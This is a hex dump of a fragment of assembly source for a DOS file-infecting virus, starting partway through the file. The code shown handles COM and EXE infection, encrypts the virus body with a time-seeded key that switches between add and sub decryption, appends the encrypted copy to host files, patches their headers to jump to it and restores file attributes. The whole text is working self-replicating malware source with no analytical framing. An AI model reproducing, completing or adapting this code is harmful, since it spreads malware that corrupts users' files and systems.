|000022b0| 74 76 69 72 75 73 20 20 | 20 20 20 20 3b 20 61 64 |tvirus | ; ad|
|000022c0| 64 20 76 69 72 75 73 20 | 73 69 7a 65 0a 20 20 20 |d virus |size. |
|000022d0| 20 20 20 20 20 20 20 61 | 64 63 20 20 64 78 2c 20 | a|dc dx, |
|000022e0| 30 0a 0a 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |0.. | mov|
|000022f0| 20 20 63 6c 2c 20 39 0a | 20 20 20 20 20 20 20 20 | cl, 9.| |
|00002300| 20 20 70 75 73 68 20 61 | 78 0a 20 20 20 20 20 20 | push a|x. |
|00002310| 20 20 20 20 73 68 72 20 | 20 61 78 2c 20 63 6c 0a | shr | ax, cl.|
|00002320| 20 20 20 20 20 20 20 20 | 20 20 72 6f 72 20 20 64 | | ror d|
|00002330| 78 2c 20 63 6c 0a 20 20 | 20 20 20 20 20 20 20 20 |x, cl. | |
|00002340| 73 74 63 0a 20 20 20 20 | 20 20 20 20 20 20 61 64 |stc. | ad|
|00002350| 63 20 20 64 78 2c 20 61 | 78 0a 20 20 20 20 20 20 |c dx, a|x. |
|00002360| 20 20 20 20 70 6f 70 20 | 20 61 78 0a 20 20 20 20 | pop | ax. |
|00002370| 20 20 20 20 20 20 61 6e | 64 20 20 61 68 2c 20 31 | an|d ah, 1|
|00002380| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002390| 20 20 20 20 3b 20 6d 6f | 64 20 35 31 32 0a 0a 20 | ; mo|d 512.. |
|000023a0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 77 6f | | mov wo|
|000023b0| 72 64 20 70 74 72 20 62 | 75 66 66 65 72 2b 34 2c |rd ptr b|uffer+4,|
|000023c0| 20 64 78 20 20 20 20 3b | 20 6e 65 77 20 66 69 6c | dx ;| new fil|
|000023d0| 65 20 73 69 7a 65 0a 20 | 20 20 20 20 20 20 20 20 |e size. | |
|000023e0| 20 6d 6f 76 20 20 77 6f | 72 64 20 70 74 72 20 62 | mov wo|rd ptr b|
|000023f0| 75 66 66 65 72 2b 32 2c | 20 61 78 0a 0a 20 20 20 |uffer+2,| ax.. |
|00002400| 20 20 20 20 20 20 20 70 | 75 73 68 20 63 73 20 20 | p|ush cs |
|00002410| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002420| 20 20 20 20 20 3b 20 72 | 65 73 74 6f 72 65 20 45 | ; r|estore E|
|00002430| 53 0a 20 20 20 20 20 20 | 20 20 20 20 70 6f 70 20 |S. | pop |
|00002440| 20 65 73 0a 0a 20 20 20 | 20 20 20 20 20 20 20 6d | es.. | m|
|00002450| 6f 76 20 20 61 78 2c 77 | 6f 72 64 20 70 74 72 20 |ov ax,w|ord ptr |
|00002460| 62 75 66 66 65 72 2b 31 | 34 68 20 20 20 3b 20 6e |buffer+1|4h ; n|
|00002470| 65 65 64 65 64 20 6c 61 | 74 65 72 0a 20 20 20 20 |eeded la|ter. |
|00002480| 20 20 20 20 20 20 6a 6d | 70 20 20 73 68 6f 72 74 | jm|p short|
|00002490| 20 66 69 6e 69 73 68 69 | 6e 66 65 63 74 69 6f 6e | finishi|nfection|
|000024a0| 0a 69 6e 66 65 63 74 5f | 63 6f 6d 3a 20 20 20 20 |.infect_|com: |
|000024b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000024c0| 20 20 20 20 20 20 20 20 | 20 3b 20 61 78 20 3d 20 | | ; ax = |
|000024d0| 66 69 6c 65 73 69 7a 65 | 0a 20 20 20 20 20 20 20 |filesize|. |
|000024e0| 20 20 20 6d 6f 76 20 20 | 63 78 2c 33 0a 20 20 20 | mov |cx,3. |
|000024f0| 20 20 20 20 20 20 20 70 | 75 73 68 20 63 78 0a 20 | p|ush cx. |
|00002500| 20 20 20 20 20 20 20 20 | 20 73 75 62 20 20 61 78 | | sub ax|
|00002510| 2c 63 78 0a 20 20 20 20 | 20 20 20 20 20 20 6d 6f |,cx. | mo|
|00002520| 76 20 20 73 69 2c 6f 66 | 66 73 65 74 20 62 75 66 |v si,of|fset buf|
|00002530| 66 65 72 0a 20 20 20 20 | 20 20 20 20 20 20 6d 6f |fer. | mo|
|00002540| 76 20 20 64 69 2c 6f 66 | 66 73 65 74 20 73 61 76 |v di,of|fset sav|
|00002550| 65 33 0a 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |e3. | mov|
|00002560| 73 77 0a 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |sw. | mov|
|00002570| 73 62 0a 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |sb. | mov|
|00002580| 20 20 62 79 74 65 20 70 | 74 72 20 5b 73 69 2d 33 | byte p|tr [si-3|
|00002590| 5d 2c 30 65 39 68 0a 20 | 20 20 20 20 20 20 20 20 |],0e9h. | |
|000025a0| 20 6d 6f 76 20 20 77 6f | 72 64 20 70 74 72 20 5b | mov wo|rd ptr [|
|000025b0| 73 69 2d 32 5d 2c 61 78 | 0a 20 20 20 20 20 20 20 |si-2],ax|. |
|000025c0| 20 20 20 61 64 64 20 20 | 61 78 2c 31 30 33 68 0a | add |ax,103h.|
|000025d0| 66 69 6e 69 73 68 69 6e | 66 65 63 74 69 6f 6e 3a |finishin|fection:|
|000025e0| 0a 20 20 20 20 20 20 20 | 20 20 20 61 64 64 20 20 |. | add |
|000025f0| 61 78 2c 6f 66 66 73 65 | 74 20 73 74 61 72 74 65 |ax,offse|t starte|
|00002600| 6e 63 72 79 70 74 2d 6f | 66 66 73 65 74 20 64 65 |ncrypt-o|ffset de|
|00002610| 63 72 79 70 74 0a 20 20 | 20 20 20 20 20 20 20 20 |crypt. | |
|00002620| 6d 6f 76 20 20 77 6f 72 | 64 20 70 74 72 20 65 6e |mov wor|d ptr en|
|00002630| 63 72 79 70 74 2b 28 70 | 61 74 63 68 5f 73 74 61 |crypt+(p|atch_sta|
|00002640| 72 74 65 6e 63 72 79 70 | 74 2d 73 74 61 72 74 76 |rtencryp|t-startv|
|00002650| 69 72 75 73 29 2b 31 2c | 61 78 0a 0a 20 20 20 20 |irus)+1,|ax.. |
|00002660| 20 20 20 20 20 20 6d 6f | 76 20 20 61 68 2c 32 63 | mo|v ah,2c|
|00002670| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h | |
|00002680| 20 20 20 20 3b 20 47 65 | 74 20 63 75 72 72 65 6e | ; Ge|t curren|
|00002690| 74 20 74 69 6d 65 0a 20 | 20 20 20 20 20 20 20 20 |t time. | |
|000026a0| 20 69 6e 74 20 20 32 31 | 68 20 20 20 20 20 20 20 | int 21|h |
|000026b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|000026c0| 20 64 68 3d 73 65 63 2c | 64 6c 3d 31 2f 31 30 30 | dh=sec,|dl=1/100|
|000026d0| 20 73 65 63 0a 20 20 20 | 20 20 20 20 20 20 20 6d | sec. | m|
|000026e0| 6f 76 20 20 77 6f 72 64 | 20 70 74 72 20 65 6e 63 |ov word| ptr enc|
|000026f0| 72 79 70 74 2b 28 64 65 | 63 72 79 70 74 5f 76 61 |rypt+(de|crypt_va|
|00002700| 6c 75 65 2d 73 74 61 72 | 74 76 69 72 75 73 29 2c |lue-star|tvirus),|
|00002710| 64 78 20 3b 20 4e 65 77 | 20 0a 65 6e 63 72 79 70 |dx ; New| .encryp|
|00002720| 74 2e 20 76 61 6c 75 65 | 0a 20 20 20 20 20 20 20 |t. value|. |
|00002730| 20 20 20 78 6f 72 20 20 | 62 79 74 65 20 70 74 72 | xor |byte ptr|
|00002740| 20 65 6e 63 72 79 70 74 | 2b 28 64 65 63 72 79 70 | encrypt|+(decryp|
|00002750| 74 5f 6c 6f 6f 70 2d 73 | 74 61 72 74 76 69 72 75 |t_loop-s|tartviru|
|00002760| 73 29 2b 32 2c 30 32 38 | 68 20 3b 20 66 6c 69 70 |s)+2,028|h ; flip|
|00002770| 20 0a 62 65 74 77 65 65 | 6e 20 61 64 64 2f 73 75 | .betwee|n add/su|
|00002780| 62 0a 0a 20 20 20 20 20 | 20 20 20 20 20 78 6f 72 |b.. | xor|
|00002790| 20 20 73 69 2c 73 69 20 | 20 20 20 20 20 20 20 20 | si,si | |
|000027a0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 63 6f 70 | | ; cop|
|000027b0| 79 20 76 69 72 75 73 20 | 74 6f 20 62 75 66 66 65 |y virus |to buffe|
|000027c0| 72 0a 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |r. | mov |
|000027d0| 20 64 69 2c 6f 66 66 73 | 65 74 20 7a 6f 70 79 73 | di,offs|et zopys|
|000027e0| 74 75 66 66 0a 20 20 20 | 20 20 20 20 20 20 20 6d |tuff. | m|
|000027f0| 6f 76 20 20 63 78 2c 68 | 65 61 70 2d 73 74 61 72 |ov cx,h|eap-star|
|00002800| 74 76 69 72 75 73 0a 20 | 20 20 20 20 20 20 20 20 |tvirus. | |
|00002810| 20 72 65 70 20 20 6d 6f | 76 73 62 0a 0a 20 20 20 | rep mo|vsb.. |
|00002820| 20 20 20 20 20 20 20 6d | 6f 76 20 20 73 69 2c 6f | m|ov si,o|
|00002830| 66 66 73 65 74 20 65 6e | 63 72 79 70 74 20 20 20 |ffset en|crypt |
|00002840| 20 20 20 20 20 3b 20 63 | 6f 70 79 20 65 6e 63 72 | ; c|opy encr|
|00002850| 79 70 74 69 6f 6e 20 66 | 75 6e 63 74 69 6f 6e 0a |yption f|unction.|
|00002860| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 64 | | mov d|
|00002870| 69 2c 6f 66 66 73 65 74 | 20 7a 6f 70 79 73 74 75 |i,offset| zopystu|
|00002880| 66 66 0a 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |ff. | mov|
|00002890| 20 20 63 78 2c 73 74 61 | 72 74 65 6e 63 72 79 70 | cx,sta|rtencryp|
|000028a0| 74 2d 64 65 63 72 79 70 | 74 0a 20 20 20 20 20 20 |t-decryp|t. |
|000028b0| 20 20 20 20 72 65 70 20 | 20 6d 6f 76 73 62 0a 0a | rep | movsb..|
|000028c0| 20 20 20 20 20 20 20 20 | 20 20 78 6f 72 20 20 62 | | xor b|
|000028d0| 79 74 65 20 70 74 72 20 | 7a 6f 70 79 73 74 75 66 |yte ptr |zopystuf|
|000028e0| 66 2b 28 64 65 63 72 79 | 70 74 5f 6c 6f 6f 70 2d |f+(decry|pt_loop-|
|000028f0| 73 74 61 72 74 76 69 72 | 75 73 29 2b 32 2c 30 32 |startvir|us)+2,02|
|00002900| 38 68 20 3b 20 0a 66 6c | 69 70 20 62 65 74 77 65 |8h ; .fl|ip betwe|
|00002910| 65 6e 20 61 64 64 2f 73 | 75 62 0a 0a 20 20 20 20 |en add/s|ub.. |
|00002920| 20 20 20 20 20 20 6d 6f | 76 20 20 77 6f 72 64 20 | mo|v word |
|00002930| 70 74 72 20 0a 5b 65 6e | 63 72 79 70 74 2b 28 70 |ptr .[en|crypt+(p|
|00002940| 61 74 63 68 5f 73 74 61 | 72 74 65 6e 63 72 79 70 |atch_sta|rtencryp|
|00002950| 74 2d 73 74 61 72 74 76 | 69 72 75 73 29 2b 31 5d |t-startv|irus)+1]|
|00002960| 2c 6f 66 66 73 65 74 20 | 0a 7a 6f 70 79 73 74 75 |,offset |.zopystu|
|00002970| 66 66 2b 28 73 74 61 72 | 74 65 6e 63 72 79 70 74 |ff+(star|tencrypt|
|00002980| 2d 64 65 63 72 79 70 74 | 29 0a 0a 20 20 20 20 20 |-decrypt|).. |
|00002990| 20 20 20 20 20 70 75 73 | 68 20 62 70 0a 20 20 20 | pus|h bp. |
|000029a0| 20 20 20 20 20 20 20 70 | 75 73 68 20 62 78 0a 20 | p|ush bx. |
|000029b0| 20 20 20 20 20 20 20 20 | 20 63 61 6c 6c 20 65 6e | | call en|
|000029c0| 63 72 79 70 74 0a 20 20 | 20 20 20 20 20 20 20 20 |crypt. | |
|000029d0| 70 6f 70 20 20 62 78 0a | 20 20 20 20 20 20 20 20 |pop bx.| |
|000029e0| 20 20 70 6f 70 20 20 62 | 70 0a 0a 20 20 20 20 20 | pop b|p.. |
|000029f0| 20 20 20 20 20 6d 6f 76 | 20 20 61 68 2c 34 30 68 | mov| ah,40h|
|00002a00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002a10| 20 20 20 3b 20 43 6f 6e | 63 61 74 65 6e 61 74 65 | ; Con|catenate|
|00002a20| 20 76 69 72 75 73 0a 20 | 20 20 20 20 20 20 20 20 | virus. | |
|00002a30| 20 6d 6f 76 20 20 64 78 | 2c 6f 66 66 73 65 74 20 | mov dx|,offset |
|00002a40| 7a 6f 70 79 73 74 75 66 | 66 0a 20 20 20 20 20 20 |zopystuf|f. |
|00002a50| 20 20 20 20 6d 6f 76 20 | 20 63 78 2c 68 65 61 70 | mov | cx,heap|
|00002a60| 2d 73 74 61 72 74 76 69 | 72 75 73 20 20 20 20 20 |-startvi|rus |
|00002a70| 20 20 3b 20 23 20 62 79 | 74 65 73 20 74 6f 20 77 | ; # by|tes to w|
|00002a80| 72 69 74 65 0a 20 20 20 | 20 20 20 20 20 20 20 69 |rite. | i|
|00002a90| 6e 74 20 20 32 31 68 0a | 0a 20 20 20 20 20 20 20 |nt 21h.|. |
|00002aa0| 20 20 20 6d 6f 76 20 20 | 61 78 2c 34 32 30 30 68 | mov |ax,4200h|
|00002ab0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002ac0| 20 3b 20 4d 6f 76 65 20 | 66 69 6c 65 20 70 6f 69 | ; Move |file poi|
|00002ad0| 6e 74 65 72 0a 20 20 20 | 20 20 20 20 20 20 20 78 |nter. | x|
|00002ae0| 6f 72 20 20 63 78 2c 63 | 78 20 20 20 20 20 20 20 |or cx,c|x |
|00002af0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 74 | | ; t|
|00002b00| 6f 20 62 65 67 69 6e 6e | 69 6e 67 20 6f 66 20 66 |o beginn|ing of f|
|00002b10| 69 6c 65 0a 20 20 20 20 | 20 20 20 20 20 20 63 77 |ile. | cw|
|00002b20| 64 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |d | |
|00002b30| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 78 6f | | ; xo|
|00002b40| 72 20 64 78 2c 64 78 0a | 20 20 20 20 20 20 20 20 |r dx,dx.| |
|00002b50| 20 20 69 6e 74 20 20 32 | 31 68 0a 0a 20 20 20 20 | int 2|1h.. |
|00002b60| 20 20 20 20 20 20 6d 6f | 76 20 20 61 68 2c 34 30 | mo|v ah,40|
|00002b70| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h | |
|00002b80| 20 20 20 20 3b 20 57 72 | 69 74 65 20 74 6f 20 66 | ; Wr|ite to f|
|00002b90| 69 6c 65 0a 20 20 20 20 | 20 20 20 20 20 20 6d 6f |ile. | mo|
|00002ba0| 76 20 20 64 78 2c 6f 66 | 66 73 65 74 20 62 75 66 |v dx,of|fset buf|
|00002bb0| 66 65 72 20 20 20 20 20 | 20 20 20 20 3b 20 57 72 |fer | ; Wr|
|00002bc0| 69 74 65 20 66 72 6f 6d | 20 62 75 66 66 65 72 0a |ite from| buffer.|
|00002bd0| 20 20 20 20 20 20 20 20 | 20 20 70 6f 70 20 20 63 | | pop c|
|00002be0| 78 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x | |
|00002bf0| 20 20 20 20 20 20 20 20 | 3b 20 63 78 20 62 79 74 | |; cx byt|
|00002c00| 65 73 0a 20 20 20 20 20 | 20 20 20 20 20 69 6e 74 |es. | int|
|00002c10| 20 20 32 31 68 0a 0a 20 | 20 20 20 20 20 20 20 20 | 21h.. | |
|00002c20| 20 6a 6d 70 20 20 64 6f | 6e 65 5f 66 69 6c 65 0a | jmp do|ne_file.|
|00002c30| 0a 61 74 74 72 69 62 75 | 74 65 73 3a 0a 20 20 20 |.attribu|tes:. |
|00002c40| 20 20 20 20 20 20 20 6d | 6f 76 20 20 61 78 2c 34 | m|ov ax,4|
|00002c50| 33 30 31 68 20 20 20 20 | 20 20 20 20 20 20 20 20 |301h | |
|00002c60| 20 20 20 20 20 3b 20 53 | 65 74 20 61 74 74 72 69 | ; S|et attri|
|00002c70| 62 75 74 65 73 20 74 6f | 20 63 78 0a 20 20 20 20 |butes to| cx. |
|00002c80| 20 20 20 20 20 20 69 6e | 74 20 20 32 31 68 0a 20 | in|t 21h. |
|00002c90| 20 20 20 20 20 20 20 20 | 20 72 65 74 0a 0a 68 65 | | ret..he|
|00002ca0| 61 70 3a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ap: | |
|00002cb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002cc0| 20 20 20 20 20 20 3b 20 | 56 61 72 69 61 62 6c 65 | ; |Variable|
|00002cd0| 73 20 6e 6f 74 20 69 6e | 20 63 6f 64 65 0a 66 69 |s not in| code.fi|
|00002ce0| 6c 65 73 69 7a 65 20 20 | 64 64 20 3f 0a 65 6e 63 |lesize |dd ?.enc|
|00002cf0| 72 79 70 74 3a 20 20 64 | 62 20 73 74 61 72 74 65 |rypt: d|b starte|
|00002d00| 6e 63 72 79 70 74 2d 64 | 65 63 72 79 70 74 2b 31 |ncrypt-d|ecrypt+1|
|00002d10| 20 64 75 70 20 28 3f 29 | 0a 7a 6f 70 79 73 74 75 | dup (?)|.zopystu|
|00002d20| 66 66 20 64 62 20 68 65 | 61 70 2d 73 74 61 72 74 |ff db he|ap-start|
|00002d30| 76 69 72 75 73 20 64 75 | 70 20 28 3f 29 20 20 20 |virus du|p (?) |
|00002d40| 20 3b 20 45 6e 63 72 79 | 70 74 69 6f 6e 20 62 75 | ; Encry|ption bu|
|00002d50| 66 66 65 72 0a 62 75 66 | 66 65 72 20 20 20 20 64 |ffer.buf|fer d|
|00002d60| 62 20 31 61 68 20 64 75 | 70 20 28 3f 29 20 20 20 |b 1ah du|p (?) |
|00002d70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 72 | | ; r|
|00002d80| 65 61 64 20 62 75 66 66 | 65 72 0a 65 6e 64 68 65 |ead buff|er.endhe|
|00002d90| 61 70 3a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ap: | |
|00002da0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002db0| 20 20 20 3b 20 45 6e 64 | 20 6f 66 20 76 69 72 75 | ; End| of viru|
|00002dc0| 73 0a 65 6e 64 20 20 20 | 20 20 20 20 73 74 61 72 |s.end | star|
|00002dd0| 74 76 69 72 75 73 0a 0a | 0a |tvirus..|. |
+--------+-------------------------+-------------------------+--------+--------+